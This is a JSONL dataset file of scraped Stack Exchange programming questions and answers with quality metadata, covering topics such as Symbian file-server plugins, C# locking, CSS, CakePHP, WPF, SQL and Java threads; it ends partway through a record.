{"id": "hf_bb9bf81df859", "question": "<p>I cannot use the Resource File API from within a file system plugin due to a PlatSec issue:</p>\n\n<pre><code>*PlatSec* ERROR - Capability check failed - Can't load filesystemplugin.PXT because it links to bafl.dll which has the following capabilities missing: TCB \n</code></pre>\n\n<p>My understanding of the issue is that:</p>\n\n<p>File system plugins are dlls which are executed within the context of the file system process.  Therefore all file system plugins must have the <code>TCB</code> PlatSec privilege which in turn means they cannot link against a dll that is not in the <code>TCB</code>.</p>\n\n<p>Is there a way around this (without resorting to a text file or an intermediate server)? I suspect not - but it would be good to get a definitive answer.</p>\n", "question_body": "", "answer": "The Symbian file server has the following capabilities:\n```\n```\nTCB ProtServ DiskAdmin AllFiles PowerMgmt CommDD\n```\n```\nSo any DLL being loaded into the file server process must have at least these capabilities. There is no way around this, short of writing a new proxy process as you allude to.\nHowever, there is a more fundamental reason why you shouldn't be using\n```\nbafl.dll\n```\nfrom within a fileserver plugin: this DLL provides utility functions which interface to the file servers client API. Attempting to use it from within the filer server will not work; at best, it will lead to the file server deadlocking as it attempts to connect to itself.\nI'd suggest rethinking that you're trying to do, and investigating an internal file-server API to achieve it instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.570540"}
{"id": "hf_c0fa173bcb2c", "question": "<p>In a asp.net web application, I want to write to a file.  This function will first get data from the database, and then write out the flat file.</p>\n\n<p>What can I do to make sure only 1 write occurs, and once the write occurrs, the other threads that maybe want to write to the file don't since the write took place.</p>\n\n<p>I want to have this write done ONLY if it hasn't been done in say 15 minutes.</p>\n\n<p>I know there is a lock keyword, so should I wrap everything in a lock, then check if it has been updated in 15 minutes or more, or visa versa?</p>\n\n<p><b>Update</b></p>\n\n<p>Workflow:</p>\n\n<p>Since this is a web application, the multiple instances will be people viewing a particular web page.  I could use the build in cache system, but if asp.net recycles it will be expensive to rebuild the cache so I just want to write it out to a flat file.  My other option would be just to create a windows service, but that is more work to manage that I want.</p>\n", "question_body": "", "answer": "Synchronize your writing code to lock on a shared object so that only one thread gets inside the block. Others wait till the current one exits.\n```\n```\nlock(this)\n{\n  // perform the write.\n}\n```\n```\nUpdate: I assumed that you have a shared object. If these are different processes on the same machine, you'd need something like a Named Mutex.\nLooky here for an example", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.615775"}
{"id": "hf_ba20346e9bd7", "question": "<p>I have a list with two <code>&lt;div&gt;</code>s in every <code>&lt;li&gt;</code> and I want to float them one next to the other and I want the <code>&lt;li&gt;</code> to take the whole availabe space. How do I do it?</p>\n\n<pre><code>&lt;html&gt;\n    &lt;head&gt;\n        &lt;title&gt;&lt;/title&gt;\n        &lt;style type=\"text/css\"&gt;\n            body {\n            }\n            ul {\n            }\n            li {\n            }\n            .a {\n            }\n            .b {\n            }\n        &lt;/style&gt;\n    &lt;/head&gt;\n    &lt;body&gt;\n        &lt;ul&gt;\n            &lt;li&gt;\n                &lt;div class=\"a\"&gt;\n                    content\n                &lt;/div&gt;\n                &lt;div class=\"b\"&gt;\n                    content\n                &lt;/div&gt;\n            &lt;/li&gt;\n        &lt;/ul&gt;\n    &lt;/body&gt;\n&lt;/html&gt;\n</code></pre>\n", "question_body": "", "answer": "```\n```\nli{width:100%;}\n.a{}\n.b{float: left;}\n```\n```\nThat should do as required from my knowledge of CSS", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.699647"}
{"id": "hf_58ee0a5dc5fb", "question": "<p>I have a CakePHP application that in some moment will show a view with product media (pictures or videos) I want to know if, there is someway to include another view that threats the video or threats the pictures, depending on a flag. I want to use those \"small views\" to several other purposes, so It should be \"like\" a cake component, for reutilization.</p>\n\n<p>What you guys suggest to use to be in Cake conventions (and not using a raw <code>include('')</code> command)</p>\n", "question_body": "", "answer": "In the interest of having the information here in case someone stumbles upon this, it is important to note that the solution varies depending on the CakePHP version.\nFor CakePHP 1.1\n```\n$this->renderElement('display', array('flag' => 'value'));\n```\nin your view, and then in\n```\n/app/views/elements/\n```\nyou can make a file called\n```\ndisplay.thtml\n```\n, where\n```\n$flag\n```\nwill have the value of whatever you pass to it.\nFor CakePHP 1.2\n```\n$this->element('display', array('flag' => 'value'));\n```\nin your view, and then in\n```\n/app/views/elements/\n```\nyou can make a file called\n```\ndisplay.ctp\n```\n, where\n```\n$flag\n```\nwill have the value of whatever you pass to it.\nIn both versions the element will have access to all the data the view has access to + any values you pass to it. Furthermore, as someone pointed out,\n```\nrequestAction()\n```\nis also an option, but it can take a heavy toll in performance if done without using cache, since it has to go through all the steps a normal action would.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.720405"}
{"id": "hf_12531568e230", "question": "<p>I have a WPF app with many list based controls in a window, which all are bound to different CollectionViews.</p>\n\n<p>At the window level is there a way to get the current selected item for the currently in focus list based control?  I know I can do this with some fairly trivial code by looking for the in focus element but does WPF support this as a concept out of the box?</p>\n\n<p>Something like Window.CurrentSelectedDataItem would be great.  I am looking into using this as a way to centralize command management for enabling disabling commands based on a current selected data item.</p>\n", "question_body": "", "answer": "I don't think that there is a property like you specify, but as an alternative you could register a ClassHandler for the ListBox.SelectionChanged event in your Window class:\n```\n```\nEventManager.RegisterClassHandler(typeof(ListBox), ListBox.SelectionChanged,\n    new SelectionChangedEventHandler(this.OnListBoxSelectionChanged));\n```\n```\nThis will get called whenever the selection changes in any ListBox in your application. You can use the sender argument to determine which ListBox it was that changed its selection, and cache this value for when you need it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.743644"}
{"id": "hf_8880528a88e5", "question": "<p>We require all requests for downloads to have a valid login (non-http) and we generate transaction tickets for each download. If you were to go to one of the download links and attempt to \"replay\" the transaction, we use HTTP codes to forward you to get a new transaction ticket. This works fine for a majority of users. There's a small subset, however, that are using Download Accelerators that simply try to replay the transaction ticket several times.</p>\n\n<p>So, in order to determine whether we want to or even <em>can</em> support download accelerators or not, we are trying to understand how they work. </p>\n\n<p>How does having a second, third or even fourth concurrent connection to the web server delivering a static file speed the download process? </p>\n\n<p>What does the accelerator program do?</p>\n", "question_body": "", "answer": "From:\nhttp://askville.amazon.com/download-accelerator-protocol-work-advantages-benefits-application-area-scope-plz-suggest-URLs/AnswerViewer.do?requestId=9337813\nQuote:\nThe most common way of accelerating downloads is to open up parllel downloads. Many servers limit the bandwith of one connection so opening more in parallel increases the rate. This works by specifying an offset a download should start which is supported for HTTP and FTP alike.\nOf course this way of acceleration is quite \"unsocial\". The limitation of bandwith is implemented to be able to serve a higher number of clients so using this technique lowers the maximum number of peers that is able to download. That's the reason why many servers are limiting the number of parallel connection (recognized by IP), e.g. many FTP-servers do this so you run into problems if you download a file and try to continue browsing using your browser. Technically these are two parallel connections.\nAnother technique to increase the download-rate is a peer-to-peer-network where different sources e.g. limited by asynchron DSL on the upload-side are used for downloading.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.765190"}
{"id": "hf_0760b25ca23e", "question": "<p>How do you apply stroke (outline around text) to a textblock in xaml in WPF?</p>\n", "question_body": "", "answer": "In Blend you could convert the TextBlock to a Path, and then use the normal Stroke properties.  But I'm assuming you wanted something that you could make dynamic...\nOtherwise I would think it would have to be some sort of bitmap effect or special brush.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.788766"}
{"id": "hf_fc49c2ff0e56", "question": "<p>I've got a stored procedure in my database, that looks like this</p>\n\n<pre><code>ALTER PROCEDURE [dbo].[GetCountingAnalysisResults] \n    @RespondentFilters varchar\nAS\nBEGIN\n\n@RespondentFilters = '''8ec94bed-fed6-4627-8d45-21619331d82a, 114c61f2-8935-4755-b4e9-4a598a51cc7f'''\n\nDECLARE @SQL nvarchar(600)\n\nSET @SQL = \n   'SELECT *\n    FROM Answer\n    WHERE Answer.RespondentId IN ('+@RespondentFilters+'''))\n    GROUP BY ChosenOptionId'\n\nexec sp_executesql @SQL\n\nEND\n</code></pre>\n\n<p>It compiles and executes, but somehow it doesn't give me good results, just like the IN statement wasn't working. Please, if anybody know the solution to this problem, help me.</p>\n", "question_body": "", "answer": "It looks like you don't have closing quotes around your @RespondentFilters\n```\n'8ec94bed-fed6-4627-8d45-21619331d82a, 114c61f2-8935-4755-b4e9-4a598a51cc7f'\n```\nSince GUIDs do a string compare, that's not going to work.\nYour best bet is to use some code to split the list out into multiple values.\nSomething like this:\n```\n```\n-- This would be the input parameter of the stored procedure, if you want to do it that way, or a UDF\ndeclare @string varchar(500)\nset @string = 'ABC,DEF,GHIJK,LMNOPQRS,T,UV,WXY,Z'\n\ndeclare @pos int\ndeclare @piece varchar(500)\n\n-- Need to tack a delimiter onto the end of the input string if one doesn't exist\nif right(rtrim(@string),1)  ','\n set @string = @string  + ','\n\nset @pos =  patindex('%,%' , @string)\nwhile @pos  0\nbegin\n set @piece = left(@string, @pos - 1)\n\n -- You have a piece of data, so insert it, print it, do whatever you want to with it.\n print cast(@piece as varchar(500))\n\n set @string = stuff(@string, 1, @pos, '')\n set @pos =  patindex('%,%' , @string)\nend\n```\n```\nCode stolen from\nRaymond Lewallen", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.814900"}
{"id": "hf_4880e8efc0f3", "question": "<p>I'd sort of like to use SQLite from within C#.Net, but I can't seem to find an appropriate library. Is there one? An official one? Are there other ways to use SQLite than with a wrapper?</p>\n", "question_body": "", "answer": "From\nhttps://system.data.sqlite.org\n:\nSystem.Data.SQLite is an ADO.NET adapter for SQLite.\nSystem.Data.SQLite was started by Robert Simpson. Robert still has commit privileges on this repository but is no longer an active contributor. Development and maintenance work is now mostly performed by the SQLite Development Team. The SQLite team is committed to supporting System.Data.SQLite long-term.\n\"System.Data.SQLite is the original SQLite database engine and a complete ADO.NET 2.0 provider all rolled into a single mixed mode assembly.  It is a complete drop-in replacement for the original sqlite3.dll (you can even rename it to sqlite3.dll).  Unlike normal mixed assemblies, it has no linker dependency on the .NET runtime so it can be distributed independently of .NET.\"\nIt even supports Mono.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.839713"}
{"id": "hf_2447119f3b3c", "question": "<p>I have an XML file that's the output from a database.  I'm using the Java SAX parser to parse the XML and output it in a different format.  The XML contains some invalid characters and the parser is throwing errors like 'Invalid Unicode character (0x5)'</p>\n\n<p>Is there a good way to strip all these characters out besides pre-processing the file line-by-line and replacing them?  So far I've run into 3 different invalid characters (0x5, 0x6 and 0x7).  It's a ~4gb database dump and we're going to be processing it a bunch of times, so having to wait an extra 30 minutes each time we get a new dump to run a pre-processor on it is going to be a pain, and this isn't the first time I've run into this issue.</p>\n", "question_body": "", "answer": "I haven't used this personally but Atlassian made a command line XML cleaner that may suit your needs (it was made mainly for JIRA but XML is XML):\nDownload\natlassian-xml-cleaner-0.1.jar\nOpen a DOS console or shell, and locate the XML or ZIP backup file on your computer, here assumed to be called data.xml\nRun:\n   java -jar atlassian-xml-cleaner-0.1.jar data.xml > data-clean.xml\nThis will write a copy of data.xml to data-clean.xml, with invalid characters removed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.863695"}
{"id": "hf_dc40f64dbf52", "question": "<p>Is there a 7-Zip command-line switch that prevents the filenames from echoing to the screen as they are added to the archive?</p>\n", "question_body": "", "answer": "If it doesn't have one, you can still redirect the output using\n```\n>\n```\ninto a file, then deleting the file afterwards. If you are on *nix, you can redirect into\n```\n/dev/null\n```\n.\nEdit\nIn MS-DOS and\n```\ncmd.exe\n```\nyou can redirect into NUL, instead of a file. Thanks to\nagnul\nfor this hint.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.897192"}
{"id": "hf_739aeaaa6ff2", "question": "<p>My users would like to be able to hit <kbd>Ctrl</kbd>+<kbd>S</kbd> to save a form.  Is there a good cross-browser way of capturing the <kbd>Ctrl</kbd>+<kbd>S</kbd> key combination and submit my form?</p>\n\n<p>App is built on Drupal, so jQuery is available.</p>\n", "question_body": "", "answer": "```\n```\n$(window).keypress(function(event) {\n    if (!(event.which == 115 && event.ctrlKey) && !(event.which == 19)) return true;\n    alert(\"Ctrl-S pressed\");\n    event.preventDefault();\n    return false;\n});\n```\n```\nKey codes can differ between browsers, so you may need to check for more than just 115.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.930966"}
{"id": "hf_01511cc175f4", "question": "<p>How can I hide the title bar from a Windows Form but still have a Resizing Frame?</p>\n", "question_body": "", "answer": "Setting FormBorderStyle = None will remove the title bar (at both design and\nrun time) - and also remove your ability to resize the form.\nIf you need a border you can set:\n```\n```\nControlBox = false\nText = \"\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.997528"}
{"id": "hf_8edc9018d9b0", "question": "<p><strong>How do I represent an aggregation relation between two classes in UML, such that each class has a link to the other class's interface, not the implementing class?</strong></p>\n\n<p>E.g. I have a class Foo that implements iFoo, and Bar that implements iBar. Foo should have a member variable of type iBar, and Bar should have a member variable of type iFoo.</p>\n\n<p>If I create an aggregation between the two implementing classes, then the member will be of the type of the implementing class, not the superclass. And aggregations between interfaces are invalid in UML (and don't make much sense).</p>\n", "question_body": "", "answer": "Setting FormBorderStyle = None will remove the title bar (at both design and\nrun time) - and also remove your ability to resize the form.\nIf you need a border you can set:\n```\n```\nControlBox = false\nText = \"\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.025563"}
{"id": "hf_9875eddf8ce4", "question": "<p>I am using the mootools based Rokbox plugin, on one of my sites, and I can't figure out how to close it with javascript.</p>\n\n<p>I triggered the click event on the close button, but that did not work.</p>\n\n<p>I found the code in the rokbox source that is used to add the click listener</p>\n\n<pre><code>this.closeButton.addEvent('click',function(e){new Event(e).stop();self.swtch=false;self.close(e)});\n</code></pre>\n\n<p>but since it is minified i cannot find what \"this\" refers to</p>\n", "question_body": "", "answer": "The\n```\nthis\n```\nlikely refers to the rokbox instance; I don't think you need to worry about it, you're interested in the code that runs on the click event. The salient part looks to be the following:\n```\n```\nself.swtch=false;\nself.close(e);\n```\n```\n```\nself\n```\nmost likely refers to the rokbox instance, again, so assuming you instantiate it with something like\n```\n```\nvar rokbox = new RokBox(...);\n```\n```\nyou should be able to just call\n```\n```\nrokbox.close();\n```\n```\nand have it close. I haven't looked at rokbox source, so no guarantees, and not quite sure what the\n```\nswtch=false\n```\ndoes, so you probably will need to experiment a bit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.075030"}
{"id": "hf_50130127154d", "question": "<p>I was looking at <a href=\"http://datamapper.org/\" rel=\"noreferrer\">DataMapper</a>, which appeared at first glance to use the ActiveRecord ORM pattern.  Other people said that it uses the DataMapper and/or the Domain Object pattern.  </p>\n\n<p>What is the difference between those patterns?  </p>\n", "question_body": "", "answer": "The main difference between the two patterns is this:\nIn the ActiveRecord you have one domain object that both knows all the business logic and how to save/update itself in the database, user.getLinkToProfile() and User::find(1), User::save(user)\nIn the DataMapper pattern you have one domain object that holds all the business logic, for exmaple user.getLinkToProfile() (or something similar) but knows\nnothing\nabout the database in question, in addition to this you have a mapper-object that is responsible for saving, updating, selecting, etc. user objects from the database which would have UserMapper::find(1), UserMapper.save(user)\nDataMapper is potentially more complex then ActiveRecord but it's a lot easier to develop your domain model and database asynchronous then with ActiveRecord.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.111037"}
{"id": "hf_87c91cb12a81", "question": "<p>Ok,I'm running a setup with a single master and a number of slaves. All writes go through the master and are replicated down to the slaves which are used strictly for reads. </p>\n\n<p>Now I have a stored procedure (not function) which is called by a trigger on an insert. According to the MySQL docs, for replication triggers log the call to the trigger while stored procedures actually log the result of the stored procedure. </p>\n\n<p>So my question is, when my trigger gets fired, will it replicate both the trigger and the results of the procedure that the trigger calls (resulting in the procedure effectively being run twice)? Or will it simply replicate the trigger have the slaves re-run the stored procedure on their own?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "In MySQL 5.0 (and MySQL 5.1 with statement based binary logging), only the calling query is logged, so in your case, the INSERT would be logged.\nOn the slave, the INSERT will be executed and then the trigger will be re-run on the slave.  So the trigger needs to exist on the slave, and assuming it does, then it will be executed in exactly the same way as the master.\nIn MySQL 5.1, there is row-based binary logging, which will log only the rows being changed, so the trigger would not be re-fired on the slave, but all rows that changed would still be propagated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.136724"}
{"id": "hf_2cab02e5662c", "question": "<p>If you have binary strings (literally String objects that contain only 1's and 0's), how would you output them as bits into a file?</p>\n\n<p>This is for a text compressor I was working on; it's still bugging me, and it'd be nice to finally get it working. Thanks!</p>\n", "question_body": "", "answer": "Easiest is to simply take 8 consecutive characters, turn them into a byte and output that byte. Pad with zeros at the end if you can recognize the end-of-stream, or add a header with length (in bits) at the beginning of the file.\nThe inner loop would look something like:\n```\n```\nbyte[] buffer = new byte[ ( string.length + 7 ) / 8 ];\nfor ( int i = 0; i < buffer.length; ++i ) {\n   byte current = 0;\n   for ( int j = 7; j >= 0; --j )\n       if ( string[ i * 8 + j ] == '1' )\n           current |= 1 << j;\n   output( current );\n}\n```\n```\nYou'll need to make some adjustments, but that's the general idea.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.246456"}
{"id": "hf_baa19e7b541d", "question": "<p>The located assembly's manifest definition does not match the assembly reference</p>\n\n<p>getting this when running nunit through ncover. Any idea?</p>\n", "question_body": "", "answer": "This is a mismatch between assemblies: a DLL referenced from an assembly doesn't have a method signature that's expected.\nClean the solution, rebuild everything, and try again.\nAlso, be careful if this is a reference to something that's in the GAC; it could be that something somewhere is pointing to an incorrect version. Make sure (through the Properties of each reference) that the correct version is chosen or that Specific Version is set false.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.308676"}
{"id": "hf_7bcb99e0a875", "question": "<p>We are getting an error in a VB6 application that sends data back and forth over TCP sockets.  We get a runtime error \"out of string space\".  Has anyone seen this or have any thoughts on why this would happen?  It seems like we are hitting some VB6 threshhold so any other thoughts would be helpful as well.</p>\n", "question_body": "", "answer": "Text found on MSDN:\nhttp://msdn.microsoft.com/en-us/library/aa264524(VS.60).aspx\nVisual Basic for Applications\n  Reference Out of string space (Error\n  14)\nSpecifics\nVisual Basic permits you to use very\n  large strings. However, the\n  requirements of other programs and the\n  way you manipulate your strings may\n  cause this error. This error has the\n  following causes and solutions:\nExpressions requiring that temporary strings be created for\n  evaluation may cause this error. For\n  example, the following code causes an\n  Out of string space error on some\n  operating systems:\n```\n```\nMyString = \"Hello\"\nFor Count = 1 To 100\nMyString = MyString & MyString\nNext Count\n```\n```\n```\n```\nAssign the string to a variable of another name.\n* Your system may have run out of memory, which prevented a string from\n```\n```\nbeing allocated.\nRemove any unnecessary applications from memory to create\n  more space.\nFor additional information, select the\n  item in question and press F1.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.407174"}
{"id": "hf_4a45e893ede3", "question": "<p>How do you check if a one-character String is a letter - including any letters with accents?</p>\n\n<p>I had to work this out recently, so I'll answer it myself, after the recent VB6 question reminded me.</p>\n", "question_body": "", "answer": "Just checking if a letter is in A-Z because that doesn't include letters with accents or letters in other alphabets.\nI found out that you can use the regular expression class for 'Unicode letter', or one of its case-sensitive variations:\n```\n```\nstring.matches(\"\\\\p{L}\"); // Unicode letter\nstring.matches(\"\\\\p{Lu}\"); // Unicode upper-case letter\n```\n```\nYou can also do this with\nCharacter\nclass:\n```\n```\nCharacter.isLetter(character);\n```\n```\nbut that is less convenient if you need to check more than one letter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.479417"}
{"id": "hf_8ccc0f78548c", "question": "<p>How can I take the string <code>foo[]=1&amp;foo[]=5&amp;foo[]=2</code> and return a collection with the values <code>1,5,2</code> in that order. I am looking for an answer using regex in C#. Thanks</p>\n", "question_body": "", "answer": "I don't know C#, but...\nIn java:\n```\n```\nString[] nums = String.split(yourString, \"&?foo[]\");\n```\n```\nThe second argument in the\n```\nString.split()\n```\nmethod is a regex telling the method where to split the String.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.515799"}
{"id": "hf_f54abf8cabca", "question": "<p>In .NET, what's the best way to prevent multiple instances of an app from running at the same time? And if there's no \"best\" technique, what are some of the caveats to consider with each solution?</p>\n", "question_body": "", "answer": "http://en.csharp-online.net/Application_Architecture_in_Windows_Forms_2.0\n—Single-Instance_Detection_and_Management", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.539747"}
{"id": "hf_7d38bce4a720", "question": "<p>Here is my problem: I've got a dialog with some parameters that the user can change (via a spinner for example). Each time one of these parameters is changed, I launch a thread to update a 3D view according to the new parameter value. \nIf the user changes another value (or the same value again by clicking many times on the spinner arrow) while the first thread is working, I would like to abort the first thread (and the update of the 3D view) and launch a new one with the latest parameter value.</p>\n\n<p>How can I do something like that?</p>\n\n<p>PS: There is no loop in the <code>run()</code> method of my thread, so checking for a flag is not an option: the thread updating the 3D view basically only calls a single method that is very long to execute. I can't add any flag in this method asking to abort either as I do not have access to its code.</p>\n", "question_body": "", "answer": "The thread that is updating the 3D view should periodically check some flag (use a\n```\nvolatile boolean\n```\n) to see if it should terminate.  When you want to abort the thread, just set the flag.  When the thread next checks the flag, it should simply break out of whatever loop it is using to update the view and return from its\n```\nrun\n```\nmethod.\nIf you truly cannot access the code the Thread is running to have it check a flag, then there is no safe way to stop the Thread.  Does this Thread ever terminate normally before your application completes?  If so, what causes it to stop?\nIf it runs for some long period of time, and you simply must end it, you can consider using the deprecated\n```\nThread.stop()\n```\nmethod.  However, it was deprecated for a good reason.  If that Thread is stopped while in the middle of some operation that leaves something in an inconsistent state or some resource not cleaned up properly, then you could be in trouble.  Here's a note from the\ndocumentation\n:\nThis method is inherently unsafe.\n  Stopping a thread with Thread.stop\n  causes it to unlock all of the\n  monitors that it has locked (as a\n  natural consequence of the unchecked\n  ThreadDeath exception propagating up\n  the stack). If any of the objects\n  previously protected by these monitors\n  were in an inconsistent state, the\n  damaged objects become visible to\n  other threads, potentially resulting\n  in arbitrary behavior. Many uses of\n  stop should be replaced by code that\n  simply modifies some variable to\n  indicate that the target thread should\n  stop running. The target thread should\n  check this variable regularly, and\n  return from its run method in an\n  orderly fashion if the variable\n  indicates that it is to stop running.\n  If the target thread waits for long\n  periods (on a condition variable, for\n  example), the interrupt method should\n  be used to interrupt the wait. For\n  more information, see\nWhy are\n  Thread.stop, Thread.suspend and\n  Thread.resume Deprecated?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.575076"}
{"id": "hf_74e5faae0dbe", "question": "<p>How can I convert a character to its ASCII code using JavaScript?</p>\n<p>For example:</p>\n<blockquote>\n<p>get 10 from &quot;\\n&quot;.</p>\n</blockquote>\n", "question_body": "", "answer": "```\n```\n\"\\n\".charCodeAt(0);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.610386"}
{"id": "hf_c98e2f87303b", "question": "<p>I'd like to use regular expressions in selecting elements using the match function.  I'd prefer not to use an external library (such as saxon) to do this.  </p>\n", "question_body": "", "answer": "Yes, 3.5 XPathNavigator supports XSLT 2.0.\nhttp://msdn.microsoft.com/en-us/library/system.xml.xpath.xpathnavigator.aspx\n\"The XPathNavigator class in the System.Xml.XPath namespace is an abstract class which defines a cursor model for navigating and editing XML information items as instances of the XQuery 1.0 and XPath 2.0 Data Model.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:09.644621"}
{"id": "hf_1de01d997658", "question": "<p>For ASP.Net application deployment what type of information (if any) are you storing in the machine.config? </p>\n\n<p>If you're not using it, how are you managing environment specific configuration settings that may change for each environment?</p>\n\n<p>I'm looking for some \"best practices\" and the benefits/pitfalls of each. We're about to deploy a brand new application to production in two months and I've got some latitude in these types of decisions. I want to make sure that I'm approaching things in the best way possible and attempting to avoid shooting myself in the foot at a later date. </p>\n\n<p>FYI We're using it (machine.config) currently for just the DB connection information and storing all other variables that might change in a config table in the database.</p>\n", "question_body": "", "answer": "I use machine.config for not just ASP.NET, but for overall config as well.  I implemented a hash algorithm (Tiger) in C# and wanted it to be available via machine request.  So, registered my assembly in the GAC and added the following to machine.config:\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<configuration>\n    <mscorlib>\n        <cryptographySettings>\n            <cryptoNameMapping>\n                <cryptoClasses>\n                    <cryptoClass Tiger192=\"Jcs.Tiger.Tiger192, Jcs.Tiger, Culture=neutral, PublicKeyToken=66c61a8173417e64, Version=1.0.0.4\"/>\n                    <cryptoClass Tiger160=\"Jcs.Tiger.Tiger160, Jcs.Tiger, Culture=neutral, PublicKeyToken=66c61a8173417e64, Version=1.0.0.4\"/>\n                    <cryptoClass Tiger128=\"Jcs.Tiger.Tiger128, Jcs.Tiger, Culture=neutral, PublicKeyToken=66c61a8173417e64, Version=1.0.0.4\"/>\n                </cryptoClasses>\n                <nameEntry name=\"Tiger\" class=\"Tiger192\"/>\n                <nameEntry name=\"TigerFull\" 